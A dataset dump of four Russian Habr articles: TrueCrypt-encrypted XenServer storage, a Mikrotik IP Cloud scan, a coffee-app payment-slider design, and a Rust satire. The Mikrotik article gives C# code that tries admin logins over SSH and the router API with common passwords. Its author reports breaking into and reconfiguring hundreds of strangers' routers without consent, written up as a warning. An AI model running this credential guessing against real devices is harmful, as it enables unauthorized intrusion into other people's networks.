text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# TrueCrypt контейнер как хранилище для виртуальных машин XenServer
Появилась задача реализовать шифрованные контейнеры для виртуальной машины на XenServer, да еще и в добавок шифровать их с помощью TrueCrypt. Не найдя никакой полезной информации по теме в сети, решил поделиться заметкой по этому вопросу. На данный момент решение введено в эксплуатацию, работает и не кашляет.
##### Задачник спрашивает — зачем козе баян?
Ответов много, но самый распространенный — есть приватная информация, которую надо зашифровать от нежелательных глаз и особ в случае физического насилия над сервером.
##### Почему бы тогда не зашифровать данные на виртуальной машине?
Да, почему бы и нет. Но в моем случае пришлось бы шифровать порядка 20 машин и в случае перезагрузки пришлось бы подключать все 20 контейнеров, что не очень-то удобно. Поэтому зашифруем сразу диск и развернем на него все виртуальные машины.
##### От слов к делу
Перво-наперво нам нужен установленный [XenServer](http://xenserver.org/). В интернете валом мануалов по этому процессу, поэтому я его пропущу.
Нам потребуется место на диске, куда установлен гипервизор или отдельный диск. Я думаю, что лучше для таких вещей использовать отдельный диск или даже рейд массив, ибо если информацию приватная настолько, что ее нужно шифровать, то ее потеря наверняка мало кого обрадует.
Процедура подготовки диска стандартная для linux систем и опытным пользователям не доставит хлопот, но на всякий случай напомню:
Разметим диск через:
```
#: fdisk /dev/sdx
```
Через mkfs.ext3 создадим файловую систему для раздела.
```
#: mkfs.ext3 /dev/sdx1
```
Добавим правила монтирования в fstab и пол дела сделано.
```
/dev/sda1 /mnt/xen ext3 errors=remount-ro 0 0
```
Пришло время устанавливать truecrypt:
```
#: wget https://download.truecrypt.ch/current/truecrypt-7.1a-linux-console-x64.tar.gz
#: tar -zxvf truecrypt-7.1a-linux-console-x64.tar.gz
#: ./truecrypt-7.1a-setup-console-x64
```
Все круто, но в xen'е не хватает libfuse.so.2 по умолчанию. Управление гипервизором происходит из виртуальной машины на CentOS'е, поэтому для нас это не большая проблема:
```
#: yum --enablerepo=base --disablerepo=citrix install fuse-devel fuse
```
Теперь все подготовлено для создания шифрованного контейнера:
```
#: truecrypt -c
Volume type:
1) Normal
2) Hidden
Select [1]: 1
Enter volume path: /mnt/xen/dts
Enter volume size (sizeK/size[M]/sizeG): 290G
Encryption algorithm:
1) AES
2) Serpent
3) Twofish
4) AES-Twofish
5) AES-Twofish-Serpent
6) Serpent-AES
7) Serpent-Twofish-AES
8) Twofish-Serpent
Select [1]: 1
Hash algorithm:
1) RIPEMD-160
2) SHA-512
3) Whirlpool
Select [1]: 1
Filesystem:
1) None
2) FAT
3) Linux Ext2
4) Linux Ext3
5) Linux Ext4
Select [2]: 1
Enter password:
Re-enter password:
Enter keyfile path [none]:
Please type at least 320 randomly chosen characters and then press Enter:
```
Сам процесс займет какое-то время, все зависит от дисковой подсистемы и мощностей сервера.
*У меня ~300Gb контейнер создавался около 2-х часов...*
После создания контейнера монтируем его в систему, именно его мы будем пробрасывать в xen:
```
#: truecrypt --password=*** --filesystem=none --protect-hidden=no /mnt/xen/dts
```
Если все сделано правильно, то выполнив **truecrypt --list** мы увидим список подмонтированных контейнеров:
```
1: /mnt/xen/vms1 /dev/mapper/truecrypt1 -
```
Ну и наконец-то сама цель всех наших подготовительных действий — пробрасываем контейнер в xenserver:
```
#: xe sr-create name-label=VMS shared=false device-config:device=/dev/mapper/truecrypt1 type=lvm sm-config:type=raw virtual-size=280GiB
#: xe pool-param-set uuid=____ default-SR=____
```
uuid и default-SR можно узнать через xe pool-list и xe sr-list.
```
# xe pool-list
uuid ( RO) : f33ac257-3fcf-1653-7b8f-105c83bf98d1
name-label ( RW):
name-description ( RW):
master ( RO): 8362a425-4bef-4712-8864-a7542ba19c80
default-SR ( RW): 950d80a8-bc98-1879-ba5f-653a01d0ced6
```
```
#: xe sr-list
....
uuid ( RO) : 950d80a8-bc98-1879-ba5f-653a01d0ced6
name-label ( RW): VMS
name-description ( RW):
host ( RO): xenserver-luzdrjrf
type ( RO): lvm
content-type ( RO):
```
На этом магия заканчивается и c помощью [OpenXenManager](https://github.com/OpenXenManager/openxenmanager) или XenCenter спокойно можем создавать новые виртуальные машины в шифрованном контейнере, не боясь за их приватность в случае казусов с физическим рукоприкладством.
Естественно, в случае перезагрузки придется ручками подмонтировать контейнер, пробросить его заново и только потом запускать виртуалки, но для этого и старались, собственно говоря.
P.S.: Заметка нацелена на новичков или людей, никогда не решавших подобные задачки. | https://habr.com/ru/post/259365/ | null | ru | null |
# Некоторые подводные камни технологии IP Cloud в роутерах Mikrotik
Есть такие хорошие роутеры Mikrotik. И с недавнего времени есть у них функционал «IP-Cloud». Помимо прочего он позволят получить субдомен, который будет привязан к пользовательскому роутеру, не имеющему постоянного IP-адреса. Или имеющего, для нас это не важно — важно то, что получаемое имя не произвольное, а вида серийный номер+.sn.mynetname.net
Так как имя не произвольное, а узнать-сгенерировать диапазоны серийных номеров не так уж и сложно, то можно их пропинговать и, если адрес активный, попробовать подключиться.
Для проверки этой идеи была написана программа с очень простым функционалом — она генерировала имя вида SN.sn.mynetname.net и пинговала его. Если результат был положительным, то адрес запоминался и процесс продолжался.
Далее программа пробовала подключаться к найденным адресам с логином admin и следующими паролями *123456, password, 12345678, qwerty, abc123, 123456789, 111111, 1234567, iloveyou, adobe123, 123123, admin, 1234567890, letmein, photoshop, 1234, monkey, shadom, sunshine, 12345, password1, princess, azerty, trusno1, 000000, mikrotik, sysadmin* (список паролей был взят из статьи [habrahabr.ru/post/215457](http://habrahabr.ru/post/215457/) и добавил пару от себя)
Подключение пробовалось через SSH и mikrotik API и если подключение подходило успешно, в таблицу добавлялся подошедший пароль.
**Здесь можно посмотреть функции которыми программа пробовала подключаться к роутерам**
```
private string MikrotikSSHConnect(string MikrotikIP, string MikrotikPassword)
{
ConnectionInfo sLogin = new PasswordConnectionInfo(MikrotikIP, 22, "admin", MikrotikPassword);
SshClient sClient = new SshClient(sLogin);
try
{
sClient.Connect();
sClient.Disconnect();
return MikrotikPassword;
}
catch
{
return "";
}
}
private string MikrotikAPIConnect(string MikrotikIP, string MikrotikPassword)
{
MK mikrotik = new MK(MikrotikIP);
try
{
if (mikrotik.Login("admin", MikrotikPassword))
{
return MikrotikPassword;
}
}
catch {}
return "";
}
```
Результаты трёхдневного скана вышли следующие — было сгенерировано и пропинговано два миллиона адресов. Из них доступных по пингу, с включенным IP-Cloud было всего 6715. Из них подключиться без пароля получилось к 97, с подобранным паролем к 430 (что лишний раз доказывает, что не надо использовать словарные и лёгкие пароли)
На всех точках, к которым получилось подключиться, были немного изменены настройки — убран пинг снаружи и сделано подключение к роутеру только из локальной сети + защита от перебора паролей. Можно было поменять пароль, но мало ли кто там занимается настройкой, да и не хотелось админам сильно усложнять работу.
PS: Откуда брались серийные номера —
* из своих точек — за несколько лет работы с микротиками, накопилось достаточно много установок, с многих смог посмотреть серийный номер.
* в гугле смотрел на скриншоты IP-Cloud (многие не замазывали адрес) + запрос в гугле site:sn.mynetname.net
* немало номеров нашел через запрос в гугл mikrotik system routerboard
* С сертификатов соответствия
* Больше всего адресов получил от одного достаточно крупного продавца — который поделился списком серийных номеров которые у него проходили, как гарантийные. (из-за этого и не публикую полностью результаты, так как не хочу подставлять людей предоставивших данную информацию)
Для каждого номера бралось 20 тысяч перед ним и столько же после.
PS2: Что в этом плохого — а если бы это было не моё исследование just for lulz? RouterOS достаточно продвинутая система и вполне можно в автоматическом режиме настраивать точки доступа на DDOS или делать из них прокси для своих грязных дел :)
PS3: Да можно было тестировать сразу подключение через SSH и API, только пинг существенно быстрее, да и не в этом смысл был исследование. Про распараллеливание также в курсе, но никуда не торопился :)
PS4: Несколько ссылок на используемые вещи
[Использование Mikrotik API в C#](http://wiki.mikrotik.com/wiki/API_in_C_Sharp)
[IP Cloud в роутерах Mikrotik](http://wiki.mikrotik.com/wiki/Manual:IP/Cloud) | https://habr.com/ru/post/253291/ | null | ru | null |
# Анимации и вибрации: как задизайнить фидбэк слайдера оплаты
Кофе — продукт, который можно покупать и пить хоть несколько раз в день. Заказ в приложении Дринкит должен быть супер-пупер быстрым. В идеале, чтобы можно было даже не запускать его, а заказывать из виджета на домашнем экране.
Год назад для упрощения оплаты мы отказались от лишней навигации и вынесли кнопку оплаты прямо в меню. Кнопка внизу экрана позволяла как перейти в корзину, так и сразу начать оплату.
Но у такой кнопки оказалось несколько проблем:
* непонятно, что можно на неё нажать — в реальности люди делают это в половине случаев. Но за последние 3 месяца видно, что гости к ней привыкают и пользуются всё чаще;
* обучаемость не сильно зависит от частоты заказов: есть люди, которые и на двадцатый раз оплачивают из корзины. Тем не менее, в среднем после третьего заказа чаще платят из меню;
"
* можно нажать случайно, что создаёт неожиданный заказ;
* в первой версии статус оплаты не был синхронизирован между экранами меню и корзины, поэтому можно было нажать оплату в меню, но не понять, что произошло, перейти в корзину и оплатить лишний раз.
Решение
-------
Чтобы решить проблему мисклика и добавить кайфа от использования приложения, нужно заменить нажатие на свайп —так действие станет сложнее, но позволит избежать ошибок и будет более интересным. Отлично подходит для финального действия в приложении.
За основу можно взять Slide to Unlock из самого первого айфона, докрутить под себя и дать необычный опыт заказа в приложении.
Как разблокировался первый айфон:
Прямо так взять не получится, потому что скевоморфизм давно ушёл, плюс нам надо, чтобы слайдер работал и как слайдер, и как кнопка перехода в корзину. Кофе заказывают часто, оплата быстрая, а значит, это место для приятного фидбэка и надо заморочиться.
Чтобы всё работало хорошо, мы опираемся на три принципа:
* понятные состояния,
* приятные анимации,
* фидбэк вибрацией, что усилит анимацию, отзывчивость и интерактивность.
Все состояния слайдера
----------------------
Для начала разберёмся с «конечными» положениями слайдера, которые обслуживают запрос в бэкенде:
* ждёт, когда свайпнут;
* идет оплата;
* если оплата прошла успешно, то кнопка исчезает;
* или оплата зафейлилась.
Анимации
--------
Анимации помогают в самых разных ситуациях: учат, скрашивают ожидание или дают обратную связь. В любом случае, анимация должна быть осмысленна.
### Анимация учит
В самом начале мы должны научить людей пользоваться нашим слайдером. Сценариев несколько:
* при добавлении в корзину запускаем анимацию, которая показывает надпись и подсказывает, что нужно перетащить. Так научим новых пользователей;
* при тапе на кнопку делаем то же самое. Так переучим старых пользователей: теперь нужно не тапать, а тащить;
* время от времени ещё раз мигаем анимацией, чтобы привлечь внимание, если пропустили на прошлых этапах.
### Скрашивает ожидание
Обычно оплата проходит от 2 до 6 секунд — за это время проиграем анимацию ожидания пару раз.
### Даёт фидбэк
Оплата не прошла — «трясём» кнопкой и даём время прочитать.
### Метафора натяжения
Когда мы сделали первый прототип, поняли, что просто ездить кнопкой — скучно. Чтобы сделать оплату запоминающейся, нужна какая-то метафора: она поможет объяснить все следующие эффекты.
Пусть метафорой будет резинка, которую мы натягиваем.
Натяжение будет интерактивным и поддерживаться вибрацией, всё это должно сработать согласованно. Жест может быть неточным: например, я не довёл до конца, но свайпнул сильно вправо — в таком случае слайдер должен доехать. Или наоборот, остановил жест на половине пути — операция отменится и вернётся в старое положение.
В итоге человеку надо не перетащить кнопку, а заполнить всю шахту лифта.
Натяжение, интерактивность и velocity
-------------------------------------
> Дальше будет про интерактивность, поэтому лучше попробовать самим. [Скачайте приложение](https://apps.apple.com/ru/app/%D0%B4%D1%80%D0%B8%D0%BD%D0%BA%D0%B8%D1%82-%D0%BA%D0%BE%D1%84%D0%B5-%D0%B8-%D0%B5%D0%B4%D0%B0/id1495622004), авторизуйтесь, выберите в корзине «новую карту» и попробуйте посвайпать. Зафейленные состояния можно получить в авиарежиме. Если вдруг нечаянно оплатили, то отменить можно из экрана заказа.
>
>
С процессом натяжения посложнее:
* в разное время натягивания видны разные данные;
* если натянуть кнопку, но не довести до конца, то резинка должна отскочить обратно;
* протащить слайдер через весь экран достаточно сложно и не очень удобно.
### Незавершение
«Незавершение» действия поддерживаем метафорой: если мы натягиваем слайдер как резинку, то отпускание должно быстро сжимать её и «пружинить» около начальной позиции.
С резиновостью важно не переборщить. Мне нравится такой подход: все действия, которые инициировал компьютер, должны быть плавными: машина расчётлива, делает точно. А вот всё, что сделал человек, имеет инерцию и может иметь резиновый фидбэк.
### Завершение
[Apple продвигает Fluid интерфейсы](https://medium.com/@nathangitter/building-fluid-interfaces-ios-swift-9732bb934bf5). Если совсем кратко, то анимации в интерфейсе должны быть:
* естественными,
* прерываемыми,
* «продолжающими» движение, т.е. учитывающими скорость
Технически это значит, что у перемещения есть не только координата, но и velocity — скорость в момент отпускания. Вместе эти величины дадут проекцию, до какого места слайдер бы доехал по поверхности. Для подсчёта завершения действия нужно использовать именно такую проекцию, тогда можно будет свайпнуть не до конца, но сильно — действие засчитается.
```
public extension CGFloat { // Velocity value from UIPanGestureRecognizer
func projectedOffset(decelerationRate: UIScrollView.DecelerationRate) -> CGFloat {
// Magic formula from WWDC
let multiplier = 1 / (1 - decelerationRate.rawValue) / 1000
return self * multiplier
}
}
```
Во время разработки мы написали код неправильно, поэтому при быстром свайпе кнопка не растягивалась до конца сама, а будто бы пролетала, нерастянувшись. Эффект нам понравился, и мы решили так и оставить. Получилось две анимации: если натягивать до конца, то шкала будет заполняться, а если свайпнуть быстро — кнопка сама долетит.
Полное перетаскивание слайда из края в край может быть неудобно делать левшам или людям с большим размером экрана, им такой «неточный» свайп поможет удобно управлять .
Вибрации
--------
Эмоции можно подкрепить тактильно, для этого в айфоне встроен специальный haptic-мотор. Это не обычная вибрация от крутящегося элемента: haptic может начать вибрировать моментально, быстро закончить и вибрировать по-разному, поэтому им можно сделать разные эффекты.
Есть стандартные и полностью настраиваемые вибрации.
#### Стандартные вибрации
* `.selection` — «тюк», очень слабый, как у барабана, который настраивает время в будильнике. Нам применить его негде.
* `.warning` — «ту-ду», два небольших толчка. Подойдут, чтобы закрепить завершение свайпа и начать оплату.
* `.success` — «та-дам», как при оплате Face Id. Подойдёт для подтверждения оплаты, когда ожидание уже закончилось.
* `.error` —«та-да-да», несколько сильных толчков. Используем, если оплата не прошла.
Для остального можно сделать собственную вибрацию.
### Настраиваемые вибрации
Для кастомных вибраций есть несколько параметров, которые можно настроить:
* тип: продолжительная (continuous) или короткий щелчок (transient). Для продолжительной нужно указать длительность;
* сила (intensity) и острота (sharpness);
* время атаки и затухания, за которое возрастает или слабеет сила вибрации.
Ну и можно вызывать несколько вибраций подряд.
Когда-то я написал приложение [Haptic Composer](https://apps.apple.com/ru/app/haptic-composer/id1493064699?l=en), которое позволяет пощупать разные вибрации. Скриншоты из приложения мы прямо так и перенесли в макет:
Для одиночных действий можно настроить паттерн, как песню из нот, и проиграть мелодию в нужный момент. Haptic Composer так не умеет, и мы переключились в Hapticly, который позволяет генерировать несколько вибраций подряд.
В целом было бы удобно взять какое-то видео с интерфейсом и уже по нему разметить, где и как надо вибрировать. Может быть, *кто-нибудь* это сделает.
### Интерактивные вибрации
Для интерактивных элементов всё сложнее, потому что уже нельзя просто задать паттерн, нужно реагировать не действие. У нас получились такие правила:
* при натягивании мы играем вибрации продолжительностью по 0.1 секунды, но они сливаются и ощущается резинка. Сила вибрации зависит от дальности натяжения: чем дальше, тем сильнее слайдер «сопротивляется»;
* при отпускании сила удара об стенку зависит от натяжения. Количество ударов тоже меняется, чтобы быть согласованным с анимацией, которая пружинит. Буквально так:
```
static func sliderCancelled(progress: Float) -> CHHapticPattern {
var events: [CHHapticEvent] = [.transient(intesity: progress, sharpness: 0.8)]
if progress > 0.3 {
events.append(.transient(intesity: 0.5, sharpness: 0.6, relativeTime: 0.1))
}
if progress > 0.5 {
events.append(.transient(intesity: 0.2, sharpness: 0.6, relativeTime: 0.2))
}
return .pattern(events: events)
}
```
В итоге вибрация добавляет приятных ощущений к слайдеру, им становится приятней пользоваться. Самое кайфовое — когда люди начинают передавать друг другу телефон в руки, чтобы они смогли ощутить всю крутость использования сами.
В CoreHaptics есть ещё более точное управление параметрами через кривые, а ещё можно читать их из файла с расширением .ahap. Я бы посмотрел на фильм с такой «вибродорожкой»!
Контекст для слайдера
---------------------
Мы начали задачу с этого, но обсудим в конце статьи. Слайдер живёт в каком-то окружении, а не сам по себе. Он появляется после добавления в корзину, оплата идёт дольше обычного запроса на сервер, а после оплаты полностью меняется сценарий — вместо создания заказа мы начинаем его ждать. Давайте посмотрим, насколько это всё сочетается.
### Как товар добавляется в корзину
Изначально кнопка не видна, после нажатия на товар она появляется и рассказывает, что можно сделать дальше. В этот момент мы не только показываем, как оплатить, но и скрываем ожидание синхронизации с сервером. Раньше мы показывали стандартный спинер и это создавало неприятное мигание, хоть ответ от сервера и приходил быстро.
Теперь мы показываем «обучающую» анимацию и мигание ушло. Если интернет плохой и синхронизация задерживается, то спинер всё равно будет видно, но это редкость.
### После оплаты может открыться экран ввода карты
Для новых пользователей оплата не будет работать так магически, ведь надо ещё и карту ввести. Мы решили не менять поведение слайдера — если люди с первого раза научились им пользоваться, то это надо лишь поддержать! После свайпа просто открываем экран ввода данных карты, а в следующий раз можно будет оплатить уже сохранённой и магия сработает.
Интересно, пройдёт ли перетаскивание кнопки Apple Pay ревью у Apple, но сейчас мы это не сможем узнать.
### Оплата занимает время
В среднем оплата проходит около 2-6 секунд, анимация ожидания сыграет в это время несколько раз. Мы решили не добавлять вибрации для этих анимаций: человек может опустить руку в ожидании, тогда мы привлечём его внимание вибрацией после успешной оплаты или ошибке. Тип вибрации достаточно красноречиво опишет результат, даже если анимацию завершения пользователь увидеть не успеет.
### После оплаты переходим в созданный заказ
После оплаты мы скрываем кнопку и сразу открываем заказ. Страница заказа — это полноценная секция в меню, поэтому классно получается показать заказ, который как бы выезжает от края экрана. Этот же экран покажется первым, если перезапустить приложение, но при этом не ломает логику горизонтальных свайпов в меню — можно посмотреть другие товары и заказать ещё напиток.
В этом сценарии есть что улучшить: от скрытия кнопки до показать проходит секунда. Пуш сверху сглаживает ожидание, но отвлекает своим местоположением. Должно быть проще: кнопка скрывается вместе с появлением заказа. Обязательно улучшим.
Доступность
-----------
Когда делаешь слайдер с необычным поведением, надо подумать и о том, как люди с ограничением будут им пользоваться.
### Визуальная доступность
У нас много разных анимаций: пробегает шиммеринг по тексту, кнопка трясётся во время ошибки, выезжает вверх и вниз для показа. Есть две настройки, которые стоит учесть, программируя всё это.
Первая — **уменьшение движения**. Люди, которые включили её, хотят, чтобы анимаций было поменьше, потому что это доставляет им дискомфорт или даже может спровоцировать эпилептический припадок. Поддержать просто — проверить значение этой настройки перед анимацией, и если попросили без анимаций, то не включать их. Эта же настройка влияет и на частоту показа анимации: если стандартно мы показываем каждые 5 секунд, то с этой настройкой стоит снизить частоту до 20.
Вторая — **предпочтение перекрестным наплывам**: все переходы должны быть не сдвигом, а через cross-fade, т.е. появление через изменение прозрачности.
Нам бы ещё учесть «Автовоспроизведение видео для предпросмотра» и не играть видео на фоне всё время. В таком случае придётся придумать механизм запуска и остановки видео, но ничего страшного — это намного лучше, чем вызвать у человека проблемы с самочувствием.
### Невизуальная доступность
Незрячие пользуются VoiceOver — он озвучивает элементы на экране, а для этого ему нужно **текстовое описание** всех элементов. Чтобы оно было, нужно разметить UI специальной accessibility-разметкой и спроектировать, какой UX получится в итоге.
1. Нам нужно название элемента. У нас две кнопки, но главная из них открывает корзину. Так и назовём: «Корзина, кнопка». Обратите внимание, что здесь есть и тип элемента — так человек поймёт, что на неё можно нажать.
2. У нас есть дополнительная информация о товарах и цене. Добавим их в качестве значения элемента, получится «Корзина, 369 рублей, 3 товара, кнопка».
**Для нажатия** на кнопку незрячие используют двойной тап по экрану, а для перемещения между элементами — горизонтальный свайп.
> Оригинальный Apple-слайдер активируется двойным тапом, будто это обычная кнопка, никакого свайпа для незрячих нет. Это нормально, потому что действие достаточно сложное и телефон вряд ли выполнит его сам.
>
>
Добавить кнопку быстрой оплаты можно двумя путями:
1. Сделать её просто отдельной кнопкой, но тогда VoiceOver каждый раз будет фокусироваться на ней, это может мешать.
2. Перенести это в дополнительное действие кнопки перехода в корзину. Это подходит.
В итоге незрячий человек со включенным VoiceOver горизонтальными свайпами дойдёт до этой кнопки, услышит описание «Корзина, 369 рублей, 3 товара, кнопка. Доступны действия» и либо тапнет дважды, чтобы перейти в корзину, либо свайпнет вертикально, чтобы выбрать действие «Оплатить», и уже после этого тапнет дважды.
В этой адаптации есть что улучшать: согласовать множественное число и поправить произношение рубля, но это терпимо. Увы, остальная часть приложения недоступна, но начать можно с любого элемента, а самый первый шаг — начать говорить об этом.
Эффективней всего начать адаптировать элементы с дизайн-системы — так вы получите максимальное влияние на приложение. Если хотите узнать больше про доступность — читайте нашу книгу [«Про доступность iOS»](http://rubanov.dev/a11y-book/), прямо сегодня она бесплатная.
Результаты
----------
### Провал
1. В первую версию попал баг, из-за которого обучающая анимация не играла сразу после добавления в корзину, и в итоге по аналитике люди стали чаще заказывать из корзины. Возможно, слайдером мы убрали случайные нажатия (что и было нашей целью), но ещё не научили новых пользователей. После хотфикса и исправления график вернулся в прежнее состояние.
2. Мы обработали ошибки оплаты, но забыли показать ошибки создания заказа, когда какой-то продукт больше нельзя показать. Решили в случае таких ошибок открывать экран корзины — там можно удалить продукт или поменять его состав. Такие проблемы бывают редко, всего в 1.5% заказов, но со следующим релизом мы это улучшили.
3. В проекте ещё не была готова аналитика на таком уровне, чтобы эффективно замерить слайдер А/Б-тестом. Возможно (если не забудем и будет время), мы сделаем деградирующий тест, чтобы понять эффективность слайдера.
4. Мы не успели убрать паузу между завершением оплаты и открытием статус заказа. Оповещение сверху экрана сглаживает этот момент, но интерфейсно это полная фигня.
При запуске было несколько ошибок, но мы их смогли поправить в течении первых двух недель после запуска. Релиз — лишь часть успеха, остальное сделает аналитика, обратная связь и персональная гемба!
### Успех
Получилось сделать крутой слайдер, который может стать приятной «фишкой» приложения для постоянных клиентов. Мы распробовали вибрации, но аппетит только появился. Вибрацию слайдера точно можно было сделать ещё лучше, но надо было релизиться и переключаться на другие задачи. Тем не менее, она стала инструментом, который мы ещё попробуем применить к другим фичам.
---
Если понравилась статья и хочешь больше узнать о разработке приложений Dodo Brands, подписывайся [на наш канал Dodo Mobile](http://t.me/DodoMobile).
Если ты дизайнер и тоже хочешь развивать наши приложения — приходи, у нас есть [открытые вакансии для синьор-дизайнеров.](https://www.notion.so/dodobrands/Product-Designer-74d85a72f82c49d697e1fe0237459cd3) А если хочется узнать больше про необычные интерфейсы, то можно почитать, как сделана [пицца из половинок](https://habr.com/ru/company/dododev/blog/452876/). | https://habr.com/ru/post/682846/ | null | ru | null |
# «Проклятие» фигурных скобочек
Допустим, вы крупная Компания. Занимаетесь разработкой Браузера, Почтовика и даже ОС для смартфонов. Неожиданно вы понимаете, что вам не нравится современный и мощный язык С++. Ну или нравится, но работать с ним невозможно. Бывает. И вот вы, взрослая стабильная компания решаете разработать новый язык программирования. Рецепт простой. Берете бочку денег, книжки по истории ИТ, роту программистов и грузовик МакБуков. Долго думаете, быстро кодите, разводите хайп в соцсетях (реддит, фейсбук, гитхаб). И вот, в 2015-м году вы даете сообществу ~~The~~ Язык. Назовем его Яист.
Язык это инструмент профессионалов. Работает по профессии — значит профессионал. Что первым делом читает профессионал при изучении нового языка? Конечно, [объективное мнение](http://habrahabr.ru/post/258069/) коллег. Оно в основном положительное. Следом за мнением коллег профессионал читает [описание](http://killercup.github.io/trpl-ebook/trpl-2015-05-15-a4.pdf) языка. Больше двухсот страниц. Ох. Будет, чем убить время в метро.
Быстрый старт
=============
Hello, World!
-------------
Самый важный этап изучения.
```
fn main() {
println!("Hello, world!");
}
```
Что мы видим? **fn**, фигурные скобки, точку с запятой, **println!**. Это макрос, как нам поясняет автор. Строковая константа это строковая константа.
Очевидно, разработчики потрудились над сокращенным написанием ключевого слова fn. Это вам не кричащее PROCEDURE, которое писать долго, еще надо Shift зажимать. Этот пункт однозначное улучшение, по сравнению с восьмидесятыми. Функция main() возвращает ничего. Пустоту. Результат void, даже указывать не надо. Попробуйте объяснить void пятиклассникам. То-то же.
Фигурные операторные скобки. Такие скобки, как известно, экономили память на машинах 70-х. Теперь они экономят время программиста. Ему некогда писать BEGIN END, ведь 21-й век за окном. Время продуктивности.
Макрос println! обращает на себя внимание восклицательным знаком. Это вам не функция. Впрочем, о происхождении макроса мы ничего не знаем, так как полные квалификаторы сущностей не нужны. Может быть, он даже встроен в язык, ведь в примере нет никакой секции импорта (на самом деле есть, любая программа импортирует ограниченный набор из библиотеки std). Нет времени выяснять, просто println! В 90-х это бы записали как Log.String(«Hello, World!»). Лихое было время, мы выживали как могли.
Не забудьте точку с запятой. Это expression based язык программирования. Точка с запятой отделит одну скобочку от другой. Завершается процедура закрывающей скобочкой. В 90-х её завершили бы END Main. Хорошо, что те времена уже прошли.
Cargo
-----
Карго это пакетный менеджер. Скачивает зависимости, занимается их построением. Яист предполагает культ карго. В 90-е такого не было. Тут нужно отдать должное авторам. Бочка денег была выпита не зря. Языком программирования инструмента Cargo является [toml](https://github.com/toml-lang/toml) — ini на стероидах.
Примеры
-------
Дальше автор книги рассматривает пример игры в угадайки.
```
use std::io;
fn main() {
println!("Guess the number!");
println!("Please input your guess.");
let mut guess = String::new();
io::stdin().read_line(&mut guess)
.ok()
.expect("Failed to read line");
println!("You guessed: {}", guess);
}
```
Мы должны обработать ввод пользователя, поэтому надо использовать библиотеку io из библиотеки std. Use std::io, Luke; И снова мы стали свидетелями того, как тщательно поработали авторы языка над синтаксисом. Раньше ведь как, IMPORT StdIO, большими буквами приходилось писать. Беспощадное отношение к рукам программиста. И два двоеточия. Возможно, это как четыре плюса в символе #. Макрос println! уже видели.
Далее следует объявление переменной, которое совмещено с инициализацией и размещено прямо в коде. Ну а как еще, не делать же отдельную секцию переменных, как в восьмидесятых. Тогда угрюмые колхозники писали все переменные в строго выделенном месте, чтобы потом их в этом месте найти. Вот так ограничивали свободу выражения творческих личностей. Принуждали к порядку. Хорошо, что мы избавились от этого пережитка.
Наличие мутабельных и иммутабельных псевдопеременных выводит нас на новый уровень контроля над данными. Переменные больше не переменны. Будущее наступило.
String это строка. new() это new(). Потом будет io::stdin() с текущим интерфейсом и println! с возможностью автоподстановки аргументов в результирующую строку.
Развитием этого примера является генерирование рандомного числа с помощью сторонней библиотеки.
```
extern crate rand;
```
Так вот, оказывается, use это не импорт, это выбор из уже импортированной библиотеки. В прошлом это все делали одной командой, и только глубокая проработка проблемы показала, что включение всего подряд в исходный код приводит к разбуханию получившегося бинарника. Поэтому надо управлять зависимостями, надо выбирать то, что мы будем использовать. Дурацкие идеи раздельной компиляции ушли в прошлое. Не будем о них жалеть.
```
match guess.cmp(&secret_number) {
Ordering::Less => println!("Too small!"),
Ordering::Greater => println!("Too big!"),
Ordering::Equal => println!("You win!"),
}
```
Метод cmp() служит для сравнения всего сравнимого. Результат сравнивается с преопределенными значениями из Enum'а c помощью оператора match. Раньше для такого был оператор CASE, условный выбор. Но теперь другие времена. Життя по-новому. Стрелочка => которую вы могли принять за составной оператор сравнения с точки зрения арабской письменности на самом деле является указателем на выражение, соответствующее варианту сопоставления.
С циклами в примере все хорошо. Есть break и continue, все как во взрослых языках. Дейкстра уже умер, можно не волноваться, что он не одобрит выход из середины цикла. Это ведь не усложняет понимание цикла. В 90-х усложняло, а сейчас люди умнее стали, и инструменты мощнее. И вообще, профессионалы не ошибаются.
Философы кушают
---------------
Структуры Philosophers Едят методом eat(). Автор плавно переходит к примеру про философов. Вводит читателя в курс дела, что есть структуры, у них есть связанные функции с параметром &self (аналог this). Это в 90-х можно было назвать связанный объект как тебе угодно, в 2015 такая фича слишком сложна для реализации. Читаем про метод new, он конструирует новый экземпляр класса. Может иметь пользовательские параметры.
Несколько философов размещаются в списке с помощью макроса **vec!**. Тип переменной списка мы не указываем. Но он есть.
В программу вводятся примитивы параллельного программирования.
```
let handles: Vec<_> = philosophers.into_iter().map(|p| {
thread::spawn(move || {
p.eat();
})
}).collect();
```
Экономия усилий программиста во всем, в именовании методов. в синтаксисе замыканий. В отсутствии необходимости указывать тип данных. А что, и так все понятно. Это Пэ, это Век. Программирование тредов в примере опирается на мьютексы. Ну и хорошо. А то навыдумывали в 90-е всяких активных объектов. Сплошные проблемы от этого. Лучше старого доброго мьютекса ничего нет, если хочешь писать серьезный взрослый софт. Тем временем синтаксис описания импорта обрастает новыми возможностями.
```
use std::sync::{Mutex, Arc};
```
Возможности языка это краеугольный камень успеха.
Использование Яист извне
------------------------
После философских обедов автор решает сфокусировать свое внимание на более приземленных вещах — на использовании Яист при построении shared library.
Это не так интересно с точки зрения программиста, ведь до сих пор функциональность shared libraries в Windows/Linux довольно убогая. Нет возможности получить информацию об интерфейсе, проблемы с кроссплатформенностью, проблемы с версионностью (точнее, отсутствие версионности, которое становится проблемой клиентского кода), авторам высокоуровневых языков приходится приземляться на уровень Cи. Некоторые языки вообще не могут так низко пасть. Но это же их проблемы. Ведь на дворе 2015-й год, а технология использования dll проверенная, надежная. У профессионалов давно есть инструменты, типа FFI. Так что не надо думать, что все технологии из семидесятых это что-то плохое. На какие укажут, те и плохие, а некоторые — хорошие. Например, модульность на уровне shared library.
```
#[no_mangle]
pub extern fn process()
```
Это ~~Кличка Гога~~ Shared Library на Яисте.
Эффективный Яист
================
Управление памятью
------------------
Чтобы работать эффективно, в первую очередь нам рассказывают про стэк и кучу. Мол, как это прогрессивно, не размещать все сразу в куче, а раскладывать на стеке. Целый абзац посвящен этой модели управления памятью. Помнится, в стародавние времена это объявлялось неважным свойством. И за аргумент в защиту языка не принималось. Но история сделала круг и все снова, как раньше. Но об этом никому не расскажут, потому что бизнес-модель не предполагает таких откровений.
Параметры функций
-----------------
Потом рассказывают про аргументы функций, про то, что передача указателя на переменную это не передача значения переменной. Помнится, в прошлом даже были языки, в которых параметры разделялись по уровням доступа внутри процедур и это было мейнстримом.
Тестирование
------------
